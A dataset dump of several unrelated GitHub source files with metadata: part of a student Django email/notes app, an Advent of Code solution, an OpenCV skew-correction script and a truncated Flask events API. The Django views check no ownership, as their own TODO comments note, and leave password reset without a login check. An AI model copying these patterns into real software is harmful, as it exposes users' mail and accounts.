error == '__all__':\n                    if 'recipient' in data[0]:\n                        messages.error(request, 'Invalid recipients: one of your recipients was not found!')\n                        continue\n\n                messages.error(request, data[0])\n\n    else:\n        form = ComposeForm(initial={\n            'sender': request.user.email\n        })\n\n    return render(request, 'compose.html', {\n        'user': request.user,\n        'form': form\n    })\n\n\n@login_required\n@verify_email_auth\n@require_http_methods(['GET', 'POST'])\ndef forward(request, email_uid=None):\n    \"\"\"\n    Serves the forward page. Creates emails when users finish composing.\n    \"\"\"\n\n    # TODO: make it so that not just any user can create an email as any user they want\n    # TODO: make it so that not just any user can forward any email they want, regardless of permission\n\n    if request.method == 'POST':\n        form = ComposeForm(request.POST)\n        if form.is_valid():\n            # create email instance and respective relations\n            form.create_email_and_relations()\n\n            # notify user and redirect to inbox\n            messages.success(request, \"Message sent!\")\n            return redirect('/')\n\n        else:\n            # compose is bad, notify user\n            for error, data in form.errors.items():\n                if error == 'subject':\n                    messages.error(request, 'Invalid subject: subject cannot be empty!')\n                    continue\n\n                elif error == '__all__':\n                    if 'recipient' in data[0]:\n                        messages.error(request, 'Invalid recipients: one of your recipients was not found!')\n                        continue\n\n                messages.error(request, data[0])\n\n    else:\n        email = Email.objects.get(uid=email_uid) if email_uid is not None else None\n        if email is not None:\n            form = ComposeForm(initial={\n                'sender': request.user.email,\n                'body': email.body,\n                'is_forward': True,\n            })\n        else:\n            messages.error(request, f\"Email for UID {email_uid} not found!\")\n            return redirect('/')\n\n    return render(request, 'forward.html', {\n        'user': request.user,\n        'form': form,\n    })\n\n\n@login_required\n@verify_email_auth\n@require_http_methods(['GET'])\ndef email_logout(request):\n    \"\"\"\n    Logs a user out of the Simple Email app.\n    \"\"\"\n\n    request.session['email_session'] = False\n\n    return redirect(\"/\")\n\n\n@login_required\n@require_http_methods(['GET'])\ndef logout(request):\n    \"\"\"\n    Logout view for Simple Email.\n    Logs a user out and notifies redirects them to login page.\n    \"\"\"\n\n    messages.success(request, f\"See ya later {request.user.username}!\")\n    auth_logout(request)\n\n    # clear any existing session data\n    request.session.flush()\n\n    return redirect('/login')\n\n\n@require_http_methods([\"GET\", \"POST\"])\ndef register(request):\n    \"\"\"\n    Register page for new users of Simple Email.\n    \"\"\"\n\n    if request.method == \"POST\":\n        # validate user input\n        form = UserRegistrationForm(request.POST)\n        if form.is_valid():\n            # save form to create user\n            user = form.save()\n\n            # log the user in\n            auth_login(request, user)\n\n            # redirect to homepage (inbox)\n            messages.success(request, f\"Welcome {request.user.username}!\")\n            return redirect('/')\n\n        else:\n            # user info is bad, notify them\n            for error, data in form.errors.items():\n                messages.error(request, data[0])\n\n    else:\n        # check if the user is already logged in\n        if request.user.is_authenticated:\n            return redirect('/')\n\n        # create new form for user to register with\n        form = UserRegistrationForm()\n\n    return render(request, 'register.html', {\"form\": form})\n\n\n@require_http_methods([\"GET\", \"POST\"])\ndef reset_password(request):\n    \"\"\"\n    Resets the password for the email of the user that is logged into the master user\n    \"\"\"\n\n    if request.method == \"POST\":\n        # validate user input\n        form = UserResetForm(request.POST)\n        if form.is_valid():\n            # save form to create user\n            form.update_password()\n\n            # redirect to homepage (inbox)\n            messages.success(request, f\" {request.user.username}'s Password was reset!\")\n            return redirect('/inbox')\n\n        else:\n            # user info is bad, notify them\n            for error, data in form.errors.items():\n                messages.error(request, data[0])\n\n    else:\n        # check if the user is already logged in\n        if request.user.is_authenticated:\n            # return redirect('/')\n            pass\n\n        # create new form for user to register with\n        form = UserResetForm()\n\n    return render(request, 'reset_password.html', {\"form\": form, \"user\": request.user})\n\n\n@require_http_methods([\"GET\"])\n@login_required\ndef splash(request):\n    \"\"\"\n    Splash page for choosing which app to use.\n    \"\"\"\n\n    return render(request, 'splash.html', {})\n\n\n@login_required\n@require_http_methods([\"GET\", \"POST\"])\ndef email_login(request):\n    \"\"\"\n    Handles logging in users to access Simple Email app.\n    \"\"\"\n\n    if request.method == 'POST':\n        email = request.POST['email']\n        password = request.POST['password']\n\n        try:\n            # try retrieving user object from db\n            user = CustomUser.objects.get(email=email)\n\n            # check that the user isn't locked out\n            if user.failed_attempts >= 3:\n                messages.warning(request, \"User account is locked\")\n\n            else:\n                # verify that the user gave the correct password\n                hasher = get_hasher('default')\n                is_correct = hasher.verify(password, user.email_password)\n\n                if is_correct:\n                    # reset lockout attempts\n                    user.failed_attempts = 0\n                    user.save()\n\n                    # log the user in and redirect to inbox\n                    request.session[\"email_session\"] = True\n                    return redirect('/inbox')\n\n                else:\n                    # increment the lockout attempts\n                    user.failed_attempts += 1\n                    user.save()\n                    messages.warning(request, \"Invalid email or password.\")\n\n        except CustomUser.DoesNotExist:\n            messages.warning(request, \"Invalid email or password.\")\n\n    else:\n        if request.session.get(\"email_session\", None):\n            # redirect user to inbox if user is already signed into Email\n            return redirect('/inbox')\n\n    return render(request, 'email_login.html', {})\n\n\n@require_http_methods([\"GET\", \"POST\"])\ndef master_login(request):\n    \"\"\"\n    Login page for entire site. This servers as a \"master\" login page to grant access\n    to email and notes apps.\n    If this is a GET request, user is loading the login page.\n    If this is a POST request, user is trying to login.\n    \"\"\"\n\n    if request.method == \"POST\":\n        # validate user info\n        username = request.POST['username']\n        password = request.POST['password']\n        remember = request.POST.get('remember', False)\n        user = authenticate(request, username=username, password=password)\n\n        if user is not None:\n            # if the user's info is legit, log them in\n            auth_login(request, user)\n\n            # set session expiry if remember-me check box was not checked\n            if not remember:\n                request.session.set_expiry(0)\n\n            # redirect to inbox\n            messages.success(request, f\"Welcome back {request.user.username}!\")\n            return redirect('splash')\n\n        else:\n            # user's info is bad, notify them\n            messages.warning(request, \"Invalid username or password.\")\n\n    else:\n        # check if the user is already logged in\n        if request.user.is_authenticated:\n            return redirect('splash')\n\n    # serve page to user normally\n    return render(request, 'login.html', {})\n\n\n@login_required\ndef note_compose(request):\n    \"\"\"\n    Serves the Notes page. Creates emails when users finish composing.\n    \"\"\"\n\n    if request.method == 'POST':\n        form = NoteForm(request.POST)\n        if form.is_valid():\n            form.save()\n            messages.success(request, \"Note Saved!\")\n            return redirect('/note_box')\n\n        else:\n            # compose is bad, notify user\n            for error, data in form.errors.items():\n                if error == 'title':\n                    messages.error(request, 'Invalid title: Title cannot be empty!')\n                    continue\n\n                messages.error(request, data[0])\n\n    else:\n        form = NoteForm(initial={\n            'title': 'Untitled Note',\n            'user': request.user.username\n        })\n\n    return render(request, 'notes_compose.html', {\n        'user': request.user,\n        'form': form\n    })\n\n\n@login_required\ndef note_box(request):\n    \"\"\"\n    Home page of Simple Note. Serves the user's Notes.\n    \"\"\"\n\n    # get all emails received by the user that have been sent\n    notes = Note.objects.all().filter(user=request.user)\n\n    return render(request, 'notes_inbox.html', {\n        'user': request.user,\n        'notes': notes\n    })\n\n\n@login_required\ndef view_note(request, note_uid):\n    \"\"\"\n    Handles serving individual note pages.\n    \"\"\"\n\n    # fetch the requested email from the DB\n    note = Note.objects.get(uid=note_uid)\n\n    return render(request, 'view_notes.html', {\n        'user': request.user,\n        'note': note\n    })\n\n\n", "repo_name": "Intro-to-SE-Lab-Fall-20/Group-8", "sub_path": "code/app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 17250, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.contrib.messages.warning", "line_number": 30, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 30, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 32, "usage_type": "call"}, {"api_name": "models.Email.objects.get", "line_number": 47, "usage_type": "call"}, {"api_name": "models.Email.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "models.Email", "line_number": 47, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 55, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 36, "usage_type": "name"}, {"api_name": "django.views.decorators.http.require_http_methods", "line_number": 38, "usage_type": "call"}, {"api_name": "models.Sender.objects.filter", "line_number": 74, "usage_type": "call"}, {"api_name": "models.Sender.objects", "line_number": 74, "usage_type": "attribute"}, {"api_name": "models.Sender", "line_number": 74, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 88, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 64, "usage_type": "name"}, {"api_name": "django.views.decorators.http.require_http_methods", "line_number": 66, "usage_type": "call"}, {"api_name": "models.Recipient.objects.filter", "line_number": 105, "usage_type": "call"}, {"api_name": "models.Recipient.objects", "line_number": 105, "usage_type": "attribute"}, {"api_name": "models.Recipient", "line_number": 105, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 119, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 95, "usage_type": "name"}, {"api_name": "django.views.decorators.http.require_http_methods", "line_number": 97, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 139, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 139, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 140, "usage_type": "call"}, {"api_name": "models.Sender.objects.none", "line_number": 144, "usage_type": "call"}, {"api_name": "models.Sender.objects", "line_number": 144, "usage_type": "attribute"}, {"api_name": "models.Sender", "line_number": 144, "usage_type": "name"}, {"api_name": "models.Recipient.objects.none", "line_number": 145, "usage_type": "call"}, {"api_name": "models.Recipient.objects", "line_number": 145, "usage_type": "attribute"}, {"api_name": "models.Recipient", "line_number": 145, "usage_type": "name"}, {"api_name": "models.Sender.objects.filter", "line_number": 148, "usage_type": "call"}, {"api_name": "models.Sender.objects", "line_number": 148, "usage_type": "attribute"}, {"api_name": "models.Sender", "line_number": 148, "usage_type": "name"}, {"api_name": "models.Recipient.objects.filter", "line_number": 160, "usage_type": "call"}, {"api_name": "models.Recipient.objects", "line_number": 160, "usage_type": "attribute"}, {"api_name": "models.Recipient", "line_number": 160, "usage_type": "name"}, {"api_name": "models.Recipient.objects.filter", "line_number": 164, "usage_type": "call"}, {"api_name": "models.Recipient.objects", "line_number": 164, "usage_type": "attribute"}, {"api_name": "models.Recipient", "line_number": 164, "usage_type": "name"}, {"api_name": "models.Recipient.objects.filter", "line_number": 165, "usage_type": "call"}, {"api_name": "models.Recipient.objects", "line_number": 165, "usage_type": "attribute"}, {"api_name": "models.Recipient", "line_number": 165, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 194, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 126, "usage_type": "name"}, {"api_name": "django.views.decorators.http.require_http_methods", "line_number": 128, "usage_type": "call"}, {"api_name": "forms.ComposeForm", "line_number": 211, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 217, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 217, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 218, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 224, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 224, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 229, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 229, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 232, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 232, "usage_type": "name"}, {"api_name": "forms.ComposeForm", "line_number": 235, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 239, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 200, "usage_type": "name"}, {"api_name": "django.views.decorators.http.require_http_methods", "line_number": 202, "usage_type": "call"}, {"api_name": "forms.ComposeForm", "line_number": 257, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 263, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 263, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 264, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 270, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 270, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 275, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 275, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 278, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 278, "usage_type": "name"}, {"api_name": "models.Email.objects.get", "line_number": 281, "usage_type": "call"}, {"api_name": "models.Email.objects", "line_number": 281, "usage_type": "attribute"}, {"api_name": "models.Email", "line_number": 281, "usage_type": "name"}, {"api_name": "forms.ComposeForm", "line_number": 283, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 289, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 289, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 290, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 292, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 245, "usage_type": "name"}, {"api_name": "django.views.decorators.http.require_http_methods", "line_number": 247, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 308, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 298, "usage_type": "name"}, {"api_name": "django.views.decorators.http.require_http_methods", "line_number": 300, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 319, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 319, "usage_type": "name"}, {"api_name": "django.contrib.auth.logout", "line_number": 320, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 325, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 311, "usage_type": "name"}, {"api_name": "django.views.decorators.http.require_http_methods", "line_number": 312, "usage_type": "call"}, {"api_name": "forms.UserRegistrationForm", "line_number": 336, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 342, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 345, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 345, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 346, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 351, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 351, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 356, "usage_type": "call"}, {"api_name": "forms.UserRegistrationForm", "line_number": 359, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 361, "usage_type": "call"}, {"api_name": "django.views.decorators.http.require_http_methods", "line_number": 328, "usage_type": "call"}, {"api_name": "forms.UserResetForm", "line_number": 372, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 378, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 378, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 379, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 384, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 384, "usage_type": "name"}, {"api_name": "forms.UserResetForm", "line_number": 393, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 395, "usage_type": "call"}, {"api_name": "django.views.decorators.http.require_http_methods", "line_number": 364, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 405, "usage_type": "call"}, {"api_name": "django.views.decorators.http.require_http_methods", "line_number": 398, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 399, "usage_type": "name"}, {"api_name": "models.CustomUser.objects.get", "line_number": 421, "usage_type": "call"}, {"api_name": "models.CustomUser.objects", "line_number": 421, "usage_type": "attribute"}, {"api_name": "models.CustomUser", "line_number": 421, "usage_type": "name"}, {"api_name": "django.contrib.messages.warning", "line_number": 425, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 425, "usage_type": "name"}, {"api_name": "django.contrib.auth.hashers.get_hasher", "line_number": 429, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 439, "usage_type": "call"}, {"api_name": "django.contrib.messages.warning", "line_number": 445, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 445, "usage_type": "name"}, {"api_name": "models.CustomUser.DoesNotExist", "line_number": 447, "usage_type": "attribute"}, {"api_name": "models.CustomUser", "line_number": 447, "usage_type": "name"}, {"api_name": "django.contrib.messages.warning", "line_number": 448, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 448, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 453, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 455, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 408, "usage_type": "name"}, {"api_name": "django.views.decorators.http.require_http_methods", "line_number": 409, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 472, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 476, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 483, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 483, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 484, "usage_type": "call"}, {"api_name": "django.contrib.messages.warning", "line_number": 488, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 488, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 493, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 496, "usage_type": "call"}, {"api_name": "django.views.decorators.http.require_http_methods", "line_number": 458, "usage_type": "call"}, {"api_name": "forms.NoteForm", "line_number": 506, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 509, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 509, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 510, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 516, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 516, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 519, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 519, "usage_type": "name"}, {"api_name": "forms.NoteForm", "line_number": 522, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 527, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 499, "usage_type": "name"}, {"api_name": "models.Note.objects.all", "line_number": 540, "usage_type": "call"}, {"api_name": "models.Note.objects", "line_number": 540, "usage_type": "attribute"}, {"api_name": "models.Note", "line_number": 540, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 542, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 533, "usage_type": "name"}, {"api_name": "models.Note.objects.get", "line_number": 555, "usage_type": "call"}, {"api_name": "models.Note.objects", "line_number": 555, "usage_type": "attribute"}, {"api_name": "models.Note", "line_number": 555, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 557, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 548, "usage_type": "name"}]}
{"seq_id": "10173431541", "text": "#!/usr/bin/env python3\n\nimport copy\nimport itertools\nimport re\n\n\ndef getAddresses(mask, address):\n    address_list = [int(x) for x in bin(int(address))[2:]]\n    address_list = [0] * (36 - len(address_list)) + address_list\n    for index in range(0, 36):\n        if mask[index] == \"1\":\n            address_list[index] = 1\n    addresses = list()\n    n = mask.count(\"X\")\n    for perm in itertools.product([0, 1], repeat=n):\n        count = 0\n        for index in range(0, 36):\n            if mask[index] == \"X\":\n                address_list[index] = perm[count]\n                count += 1\n        res = 0\n        for ele in address_list:\n            res = (res << 1) | ele\n        addresses.append(res)\n    return addresses\n\n\ndef main():\n    f = open(\"../input/day_14_input\")\n    mem_pattern = re.compile(r\"mem\\[(\\d+)\\] = (\\d+)(.*?)\")\n    mem = dict()\n    for line in f:\n        line = line.strip().replace(\"\\n\", \"\").replace(\"\\r\", \"\")\n        if line[0:4] == \"mask\":\n            mask = line.split()[-1]\n        else:\n            address, value, __ = mem_pattern.match(line).groups()\n            addresses = getAddresses(mask, address)\n            for addr in addresses:\n                mem[addr] = int(value)\n    total = 0\n    for ele in mem.values():\n        total += ele\n    print(total)\n    return total\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "vss2sn/advent_of_code", "sub_path": "2020/python/day_14b.py", "file_name": "day_14b.py", "file_ext": "py", "file_size_in_byte": 1343, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 22, "dataset": "github-code", "pt": "81", "api": [{"api_name": "itertools.product", "line_number": 16, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 31, "usage_type": "call"}]}
{"seq_id": "33758522949", "text": "#-*- coding:utf-8 -*-\n\"\"\"\n    desc: 基于直线探测的水平矫正-霍夫变换\n    author:MeteorMan\n    datetime:2020/10/29\n\"\"\"\n\n# coding=utf-8\nimport cv2\nimport numpy as np\n\ninput_img_file = \"../img/transfer.jpg\"\n\n\n# 度数转换\ndef DegreeTrans(theta):\n    res = theta / np.pi * 180\n    return res\n\n\n# 逆时针旋转图像degree角度（原尺寸）\ndef rotateImage(src, degree):\n    # 旋转中心为图像中心\n    h, w = src.shape[:2]\n    # 计算二维旋转的仿射变换矩阵\n    RotateMatrix = cv2.getRotationMatrix2D((w / 2.0, h / 2.0), degree, 1)\n    print(RotateMatrix)\n    # 仿射变换，背景色填充为白色\n    rotate = cv2.warpAffine(src, RotateMatrix, (w, h), borderValue=(255, 255, 255))\n    return rotate\n\n\n# 通过霍夫变换计算角度\ndef CalcDegree(srcImage):\n    midImage = cv2.cvtColor(srcImage, cv2.COLOR_BGR2GRAY)\n    dstImage = cv2.Canny(midImage, 50, 200, 3)\n    lineimage = srcImage.copy()\n\n    # 通过霍夫变换检测直线\n    # 第4个参数就是阈值，阈值越大，检测精度越高\n    lines = cv2.HoughLines(dstImage, 1, np.pi / 180, 200)\n    # 由于图像不同，阈值不好设定，因为阈值设定过高导致无法检测直线，阈值过低直线太多，速度很慢\n    sum = 0\n    # 依次画出每条线段\n    for i in range(len(lines)):\n        for rho, theta in lines[i]:\n            # print(\"theta:\", theta, \" rho:\", rho)\n            a = np.cos(theta)\n            b = np.sin(theta)\n            x0 = a * rho\n            y0 = b * rho\n            x1 = int(round(x0 + 1000 * (-b)))\n            y1 = int(round(y0 + 1000 * a))\n            x2 = int(round(x0 - 1000 * (-b)))\n            y2 = int(round(y0 - 1000 * a))\n            # 只选角度最小的作为旋转角度\n            sum += theta\n            cv2.line(lineimage, (x1, y1), (x2, y2), (0, 0, 255), 1, cv2.LINE_AA)\n            cv2.imshow(\"Imagelines\", lineimage)\n\n    # 对所有角度求平均，这样做旋转效果会更好\n    average = sum / len(lines)\n    angle = DegreeTrans(average) - 90\n    return angle\n\n\nif __name__ == '__main__':\n    image = cv2.imread(input_img_file)\n    cv2.imshow(\"Image\", image)\n    # 倾斜角度矫正\n    degree = CalcDegree(image)\n    print(\"调整角度：\", degree)\n    rotate = rotateImage(image, degree)\n    cv2.imshow(\"rotate\", rotate)\n    # cv2.imwrite(\"../test/recified.png\", rotate, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])\n    cv2.waitKey(0)\n    cv2.destroyAllWindows()\n", "repo_name": "Vincent131499/Chinese-OCR3", "sub_path": "preprocess/tilt_correc/hough_transfer.py", "file_name": "hough_transfer.py", "file_ext": "py", "file_size_in_byte": 2449, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 80, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.pi", "line_number": 17, "usage_type": "attribute"}, {"api_name": "cv2.getRotationMatrix2D", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.warpAffine", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 35, "usage_type": "attribute"}, {"api_name": "cv2.Canny", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.HoughLines", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.cos", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 58, "usage_type": "call"}, {"api_name": "cv2.LINE_AA", "line_number": 58, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 59, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 69, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 74, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 77, "usage_type": "call"}]}
{"seq_id": "34162353976", "text": "from contextlib import nullcontext\nfrom util.decorators import check_admin\nfrom db import db\n\nfrom datetime import datetime\n\nfrom flask import Blueprint, request, Response, jsonify\nfrom flask_jwt_extended import jwt_required\nfrom bson import ObjectId\n\nevents_api = Blueprint('events', __name__)\n\n# Event names need to be in the format Title_Season_Year. This method\n# enforces that and makes sure that everything is valid\ndef check_event_name(event_name):\n\n    \"\"\"Checks to see if event names are properly formatted\n\n    Example of valid event name: Hackation_Fall_2022\n    Another Example of valid event name: AlumniPanel_Spring_2022\n\n    :param event_name: String that is being checked\n    :return: whether event_name is a valid event name\n\n    \"\"\"\n\n    names = ['AlumniPanel', 'Hackathon', 'InterviewWorkshop']\n    seasons = ['Fall', 'Winter', 'Spring', 'Summer']\n    beg_year = 2007\n    end_year = 2025\n\n    params = event_name.split('_')\n    if len(params) != 3:\n        return False\n\n    year = int(params[2])\n    if (params[0] not in names) or (params[1] not in seasons) or (year < beg_year or year > end_year):\n        return False\n\n    return True\n\n@events_api.route('/', methods=['GET'])\ndef get():\n\n    \"\"\"Gets all events within a specified time frame\n\n    :reqarg start_date_beg: Start date and time\n    :reqarg start_date_end: Start date and time (used in conjunction with start_date_beg for one-day events)\n    :reqarg end_date_beg: End date and time (used in conjunction with end_date_end potentially for one-date events)\n    :reqarg end_date_end: End date and time \n\n    :return: dictionary with key 'events' and the value is a list of all events within specified time frame\n\n    :status 200: Successful\n\n    \"\"\"\n\n    start_date_beg = datetime.fromisoformat(\n        request.args['start_date_beg']) if 'start_date_beg' in request.args else -1\n    start_date_end = datetime.fromisoformat(\n        request.args['start_date_end']) if 'start_date_end' in request.args else -1\n    end_date_beg = datetime.fromisoformat(\n        request.args['end_date_beg']) if 'end_date_beg' in request.args else -1\n    end_date_end = datetime.fromisoformat(\n        request.args['end_date_end']) if 'end_date_end' in request.args else -1\n\n    # Build the args for the querying based on paraemeters provided\n    args = {}\n    if 'start_date_beg' in request.args:\n        args['start_date'] = {'$gte': start_date_beg}\n        if 'start_date_end' in request.args:\n            args['start_date']['$lte'] = start_date_end\n    elif 'start_date_end' in request.args:\n        args['start_date'] = {'$lte': start_date_end}\n\n    if 'end_date_beg' in request.args:\n        args['end_date'] = {'$gte': end_date_beg}\n        if 'end_date_end' in request.args:\n            args['end_date']['$lte'] = end_date_end\n    elif 'end_date_end' in request.args:\n        args['end_date'] = {'$lte': end_date_end}\n\n    # Query and build result\n    cursor = db.events.find(args)\n\n    events = []\n\n    for e in cursor:\n        events.append({'event_name': e['event_name'], 'display_name': e['display_name'],\n                       'start_date': e['start_date'], 'end_date': e['end_date'], 'description': e['description'], 'is_virtual': e['is_virtual'],\n                       'zoom_link': e['zoom_link'], 'location': e['location']})\n\n    return jsonify({'events': events}), 200\n\n@events_api.route('/<event_name>', methods=['GET'])\ndef get_event(event_name):\n\n    \"\"\"Gets an event based on the event's name.\n\n    :param event_name: name that is being checked to see if it is associated with an event\n\n    :return: the event as a dictionary with fields 'event_name', 'display_name', 'start_date', 'end_date', 'description', 'is_virtual', 'zoom_link', and 'location'\n\n    :status 200: Successful\n    :status 404: Event doesn't exist\n\n    \"\"\"\n\n    e = db.events.find_one({\"event_name\": event_name})\n    if e == None:\n        return Response('Event does not exist', status=404)\n\n    event = {'event_name': e['event_name'], 'display_name': e['display_name'],\n                       'start_date': e['start_date'], 'end_date': e['end_date'], 'description': e['description'], 'is_virtual': e['is_virtual'],\n                       'zoom_link': e['zoom_link'], 'location': e['location']}\n\n    return jsonify(event), 200\n\n    \n@events_api.route('/', methods=['POST'])\n@jwt_required\n@check_admin\ndef create_event():\n\n    \"\"\"Creates an event.\n\n    :reqjson event_name: event name\n    :reqjson display_name: name of event displayed to general public\n    :reqjson start_date: start date of event\n    :reqjson end_date: end date of event\n    :reqjson description: description of event (optional)\n    :reqjson is_virtual: boolean string true/false saying whether event is virtual or in-person\n    :reqjson location: location of event (optional)\n    :reqjson zoom_link: zoom link of event (optional)\n\n    Example input:\n\n    .. sourcecode:: json\n\n    {\n        \"event_name\": \"HopHacks_Fall_2022\",\n        \"display_name\": \"HopHacks Fall 2022\",\n        \"start_date\": \"2022-09-22\",\n        \"end_date\": \"2022-09-24\",\n        \"description\": \"36 hour hackathon for college students\",\n        \"is_virtual\": \"true\"\n    }\n\n    :status 201: Event added\n    :status 400: Error with request\n    :status 409: Event already exists\n    \n    \"\"\"\n\n    if (request.json is None):\n        return Response('Data not in json format', status=400)\n\n    if not (all(field in request.json for field in ['event_name', 'display_name', 'start_date', 'end_date', 'is_virtual'])):\n        return Response('Invalid request', status=400)\n\n    event = {}\n\n    # Get event name and make sure its valid\n    event['event_name'] = request.json['event_name']\n    if not check_event_name(event['event_name']):\n        return Response('Invalid event name', status=400)\n    # TODO: do we want to fold the next line into check_event_name or keep check_event_name just for checking the validity of the string itself\n    if len(list(db.events.find({'event_name': event['event_name']}))) != 0:\n        return 